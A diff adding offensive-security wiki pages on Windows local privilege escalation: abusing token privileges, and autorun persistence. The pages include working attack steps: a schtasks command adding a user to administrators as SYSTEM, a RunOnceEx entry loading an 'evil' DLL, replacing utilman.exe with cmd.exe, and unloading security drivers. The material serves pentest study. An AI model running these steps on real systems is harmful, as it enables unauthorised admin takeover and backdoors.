+{% page-ref page="access-tokens.md" %}
+
+**Maybe you could be able to escalate privileges abusing the tokens you already have**
+
+### SeImpersonatePrivilege \(3.1.1\)
+
+Any process holding this privilege can **impersonate** \(but not create\) any **token** for which it is able to gethandle. You can get a **privileged token** from a **Windows service** \(DCOM\) making it perform an **NTLM authentication** against the exploit, then execute a process as **SYSTEM**. Exploit it with [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM ](https://github.com/antonioCoco/RogueWinRM)\(needs winrm disabled\), [SweetPotato](https://github.com/CCob/SweetPotato), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
+
+### SeAssignPrimaryPrivilege \(3.1.2\)
+
+It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.  
+Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token \(DuplicateTokenEx\).  
+With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** \(in general, you cannot modify the primary token of a running process\).
+
+### SeTcbPrivilege \(3.1.3\)
+
+If you have enabled this token you can use **KERB\_S4U\_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** \(admins\) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** \(SetThreadToken\).
+
+### SeBackupPrivilege \(3.1.4\)
+
+This privilege causes the system to **grant all read access** control to any file \(only read\).  
+Use it to **read the password hashes of local Administrator** accounts from the registry and then use "**psexec**" or "**wmicexec**" with the hash \(PTH\).  
+ This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely.  
+You can **abuse this privilege** with: [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) or with [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) or following IppSec in [https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab\_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
+
+### SeRestorePrivilege \(3.1.5\)
+
+**Write access** control to any file on the system, regardless of the files ACL.  
+You can **modify services**, DLL Hijacking, set **debugger** \(Image File Execution Options\)… A lot of options to escalate.
+
+### SeCreateTokenPrivilege \(3.1.6\)
+
+This token **can be used** as EoP method **only** if the user **can impersonate** tokens \(even without SeImpersonatePrivilege\).  
+ In a possible scenario, a user can impersonate the token if it is for the same user and the integrity level is less or equal to the current process integrity level.  
+ In this case, the user could **create an impersonation token** and add to it a privileged group SID.
+
+### SeLoadDriverPrivilege \(3.1.7\)
+
+**Load and unload device drivers.**  
+You need to create an entry in the registry with values for ImagePath and Type.  
+As you don't have access to write to HKLM, you have to **use HKCU**. But HKCU doesn't mean anything for the kernel, the way to guide the kernel here and use the expected path for a driver config is to use the path: "\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\System\CurrentControlSet\Services\DriverName" \(the ID is the **RID** of the current user\).  
+ So, you have to **create all that path inside HKCU and set the ImagePath** \(path to the binary that is going to be executed\) **and Type** \(SERVICE\_KERNEL\_DRIVER 0x00000001\).  
+[**Learn how to exploit it here.**](../active-directory-methodology/privileged-accounts-and-token-privileges.md#seloaddriverprivilege)\*\*\*\*
+
+### SeTakeOwnershipPrivilege \(3.1.8\)
+
+This privilege is very similar to **SeRestorePrivilege**.  
+It allows a process to “**take ownership of an object** without being granted discretionary access” by granting the WRITE\_OWNER access right.  
+First, you have to **take ownership of the registry key** that you are going to write on and **modify the DACL** so you can write on it.
+
+### SeDebugPrivilege \(3.1.9\)
+
+It allows the holder to **debug another process**, this includes reading and **writing** to that **process' memory.**  
+There are a lot of various **memory injection** strategies that can be used with this privilege that evade a majority of AV/HIPS solutions.
+
+## Check privileges
+
+```text
+whoami /priv
+```
+
+The **tokens that appear as** _**Disabled**_ **can be enable**, you you actually can abuse _Enabled_ and _Disabled_ tokens.
+
+## Table
+
+Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.  
+
+
+<table>
+  <thead>
+    <tr>
+      <th style="text-align:left">Privilege</th>
+      <th style="text-align:left">Impact</th>
+      <th style="text-align:left">Tool</th>
+      <th style="text-align:left">Execution path</th>
+      <th style="text-align:left">Remarks</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td style="text-align:left"><code>SeAssignPrimaryToken</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left">3rd party tool</td>
+      <td style="text-align:left"> <em>&quot;It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe&quot;</em>
+      </td>
+      <td style="text-align:left">Thank you <a href="https://twitter.com/Defte_">Aur&#xE9;lien Chalot</a> for
+        the update. I will try to re-phrase it to something more recipe-like soon.</td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeBackup</code>
+      </td>
+      <td style="text-align:left"> <b>Threat</b>
+      </td>
+      <td style="text-align:left"> <em><b>Built-in commands</b></em>
+      </td>
+      <td style="text-align:left">Read sensitve files with <code>robocopy /b</code>
+      </td>
+      <td style="text-align:left">- May be more interesting if you can read %WINDIR%\MEMORY.DMP
+        <br />
+        <br />- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes
+        to open files.
+        <br />
+        <br />- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeCreateToken</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left">3rd party tool</td>
+      <td style="text-align:left">Create arbitrary token including local admin rights with <code>NtCreateToken</code>.</td>
+      <td
+      style="text-align:left"></td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeDebug</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left"> <b>PowerShell</b>
+      </td>
+      <td style="text-align:left">Duplicate the <code>lsass.exe</code> token.</td>
+      <td style="text-align:left">Script to be found at <a href="https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1">FuzzySecurity</a>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeLoadDriver</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left">3rd party tool</td>
+      <td style="text-align:left">1. Load buggy kernel driver such as <code>szkg64.sys</code>
+        <br />2. Exploit the driver vulnerability
+        <br />
+        <br />Alternatively, the privilege may be used to unload security-related drivers
+        with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code>
+      </td>
+      <td style="text-align:left">1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a>
+        <br
+        />2. The <code>szkg64</code>  <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was
+        created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeRestore</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left"> <b>PowerShell</b>
+      </td>
+      <td style="text-align:left">1. Launch PowerShell/ISE with the SeRestore privilege present.
+        <br />2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).
+        <br
+        />3. Rename utilman.exe to utilman.old
+        <br />4. Rename cmd.exe to utilman.exe
+        <br />5. Lock the console and press Win+U</td>
+      <td style="text-align:left">
+        <p>Attack may be detected by some AV software.</p>
+        <p>Alternative method relies on replacing service binaries stored in &quot;Program
+          Files&quot; using the same privilege</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeTakeOwnership</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left"> <em><b>Built-in commands</b></em>
+      </td>
+      <td style="text-align:left">1. <code>takeown.exe /f &quot;%windir%\system32&quot;</code>
+        <br />2. <code>icalcs.exe &quot;%windir%\system32&quot; /grant &quot;%username%&quot;:F</code>
+        <br
+        />3. Rename cmd.exe to utilman.exe
+        <br />4. Lock the console and press Win+U</td>
+      <td style="text-align:left">
+        <p>Attack may be detected by some AV software.</p>
+        <p>Alternative method relies on replacing service binaries stored in &quot;Program
+          Files&quot; using the same privilege.</p>
+      </td>
+    </tr>
+    <tr>
+      <td style="text-align:left"><code>SeTcb</code>
+      </td>
+      <td style="text-align:left"> <em><b>Admin</b></em>
+      </td>
+      <td style="text-align:left">3rd party tool</td>
+      <td style="text-align:left">
+        <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.</p>
+        <p>To be verified.</p>
+      </td>
+      <td style="text-align:left"></td>
+    </tr>
+  </tbody>
+</table>
+
+## Reference
+
+* Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
+* Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) ****about privesc with tokens**.**
+
diff --git a/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
new file mode 100644
index 00000000000..e1d5edbf421
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
@@ -0,0 +1,335 @@
+# Privilege Escalation with Autoruns
+
+## WMIC
+
+**Wmic** can be used to run programs on **startup**. See which binaries are programmed to run is startup with:
+
+```bash
+wmic startup get caption,command 2>nul & ^
+Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
+```
+
+## Scheduled Tasks
+
+**Tasks** can be schedules to run with **certain frequency**. See which binaries are scheduled to run with:
+
+```bash
+schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
+schtasks /query /fo LIST 2>nul | findstr TaskName
+schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
+Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
+
+#Schtask to give admin access
+#You can also write that content on a bat file that is being executed by a scheduled task
+schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
+```
+
+## Folders
+
+All the binaries located in the **Startup folders are going to be executed on startup**. The common startup folders are the ones listed a continuation, but the startup folder is indicated in the registry. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
+
+```bash
+dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
+dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
+dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
+dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
+Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
+Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
+```
+
+## Registry
+
+{% hint style="info" %}
+Note: The **Wow6432Node** registry entry indicates that you are running a 64-bit Windows version. The operating system uses this key to display a separate view of HKEY\_LOCAL\_MACHINE\SOFTWARE for 32-bit applications that run on 64-bit Windows versions.
+{% endhint %}
+
+### Runs
+
+**Commonly known** AutoRun registry:
+
+* `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
+* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
+* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
+* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce`
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`
+* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run`
+* `HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce`
+* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run`
+* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
+* `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
+
+Run and RunOnce registry keys cause programs to run each time that a user logs on. The data value for a key is a command line no longer than 260 characters.
+
+**Service runs** \(can control automatic startup of services during boot\):
+
+* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` 
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce` 
+* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices` 
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices`
+* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce` 
+* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce` 
+* `HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices` 
+* `HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices`
+
+**RunOnceEx:**
+
+* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
+* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
+
+It's not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
+
+{% hint style="info" %}
+**Exploit 1**: If you can write inside any of the mentioned registry inside **HKLM** you can escalate privileges when a different user logs in.
+{% endhint %}
+
+{% hint style="info" %}
+**Exploit 2**: If you can overwrite any of the binaries indicated on any of the registry inside **HKLM** you can modify that binary with a backdoor when a different user logs in and escalate privileges.
+{% endhint %}
+
+```bash
+#CMD
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
+reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
+reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
+reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
+reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
+reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
+reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE
+
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
+reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
+reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
+reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
+reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices
+
+reg query HKLM\Software\Microsoft\Windows\RunOnceEx
+reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
+reg query HKCU\Software\Microsoft\Windows\RunOnceEx
+reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
+
+#PowerShell
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'
+
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
+
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
+Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
+Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
+```
+
+### Startup Path
+
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
+* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
+* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
+
+Any shortcut created to the location pointed by subkey Startup will launch the service during logon/reboot. Start up location is specified both at Local Machine and Current User.
+
+{% hint style="info" %}
+If you can overwrite any \[User\] Shell Folder under **HKLM**, you will e able to point it to a folder controlled by you and place a backdoor that will be executed anytime a user logs in the system escalating privileges.
+{% endhint %}
+
+```bash
+reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
+reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
+reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
+reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
+
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
+```
+
+### Winlogon Keys
+
+`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
+
+Usually, **Userinit** key points to userinit.exe but if this key can be altered, then that exe will also launch by Winlogon.  
+**Shell** key should point to explorer.exe.
+
+```bash
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
+```
+
+{% hint style="info" %}
+If you can overwrite the registry value or the binary you will be able to escalate privileges.
+{% endhint %}
+
+### Policy Settings
+
+* `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` 
+* `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
+
+Check **Run** key.
+
+```bash
+reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
+reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
+Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
+Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
+```
+
+### AlternateShell
+
+Path: **`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`**
+
+Under the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` is the value **AlternateShell**, which by default is set to `cmd.exe` \(the command prompt\). When you press F8 during startup and select "Safe Mode with Command Prompt," the system uses this alternate shell.  
+You can, however, create a boot option so that you don't have to press F8, then select "Safe Mode with Command Prompt."
+
+1. Edit the boot.ini \(c:\boot.ini\) file attributes to make the file nonread-only, nonsystem, and nonhidden \(attrib c:\boot.ini -r -s -h\).
+2. Open boot.ini.
+3. Add a line similar to the following: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
+4. Save the file.
+5. Reapply the correct permissions \(attrib c:\boot.ini +r +s +h\).
+
+Info from [here](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell).
+
+{% hint style="info" %}
+**Exploit 1:** If you can modify this registry key you can point your backdoor
+{% endhint %}
+
+{% hint style="info" %}
+**Exploit 2 \(PATH write permissions\)**: If you have write permission on any folder of the system **PATH** before _C:\Windows\system32_ \(or if you can change it\) you can create a cmd.exe file and if someone initiates the machine in Safe Mode your backdoor will be executed.
+{% endhint %}
+
+{% hint style="info" %}
+**Exploit 3 \(PATH write permissions and boot.ini write permissions\)**: If you can write boot.ini, you can automate the startup in safe mode for the next reboot.
+{% endhint %}
+
+```bash
+reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
+Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
+```
+
+### Installed Component
+
+* `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components`
+* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
+* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
+* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
+
+Active Setup runs before the Desktop appears. Commands started by Active Setup run synchronously, blocking the logon while they are executing. Active Setup is executed before any Run or RunOnce registry entries are evaluated.
+
+Inside those keys you will find more keys and each for those will home some interesting key-values. The most interesting ones are:
+
+* **IsInstalled:**
+  * 0: The component’s command will not run.
+  * 1: The component’s command will be run once per user. This is the default \(if the IsInstalled value does not exist\).
+* **StubPath**
+  * Format: Any valid command line, e.g. “notepad”
+  * This is the command that is executed if Active Setup determines this component needs to run during logon.
+
+{% hint style="info" %}
+If you could write/overwrite on any Key with _**IsInstalled == "1"**_ the key **StubPath**, you could point it to a backdoor and escalate privileges. Also, if you could overwrite any **binary** pointed by any **StubPath** key you could be able to escalate privileges.
+{% endhint %}
+
+```bash
+reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
+reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
+reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
+reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
+```
+
+### Browser Helper Objects
+
+* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
+* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
+
+A **Browser Helper Object** \(**BHO**\) is a DLL module designed as a plugin for Microsoft's Internet Explorer web browser to provide added functionality. These modules are executed for each new instance of Internet Explorer and for each new instance of Windows Explorer. However, a BHO can be prevented to be executed by each instance of Explorer setting the key **NoExplorer** to 1.
+
+BHOs are still supported as of Windows 10, through Internet Explorer 11, while BHOs are not supported in the default web browser Microsoft Edge.
+
+```bash
+reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
+reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
+```
+
+Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
+
+### Internet Explorer Extensions
+
+* `HKLM\Software\Microsoft\Internet Explorer\Extensions`
+* `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions`
+
+Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{<CLSID>}`
+
+### Font Drivers
+
+* `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers`
+* `HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers`
+
+```bash
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
+reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'
+```
+
+### Open Command
+
+* `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command`
+* `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command`
+
+```bash
+reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
+reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
+Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""
+```
+
+### Image File Execution Options
+
+```text
+HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
+HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
+```
+
+## SysInternals
+
+Note that all the sites where you can find autoruns are **already searched by**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). However, for a **more comprehensive list of auto-executed** file you could use [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)from systinternals:
+
+```text
+autorunsc.exe -m -nobanner -a * -ct /accepteula
+```
+
+## More
+
+Find more Autoruns like registries in [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
+
+## References
+
+* [https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/\#gref](https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref)
+* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
+* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
+
diff --git a/windows/windows-local-privilege-escalation/rottenpotato.md b/windows/windows-local-privilege-escalation/rottenpotato.md
new file mode 100644
index 00000000000..59173019ae5
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/rottenpotato.md
@@ -0,0 +1,85 @@
+# RottenPotato
+
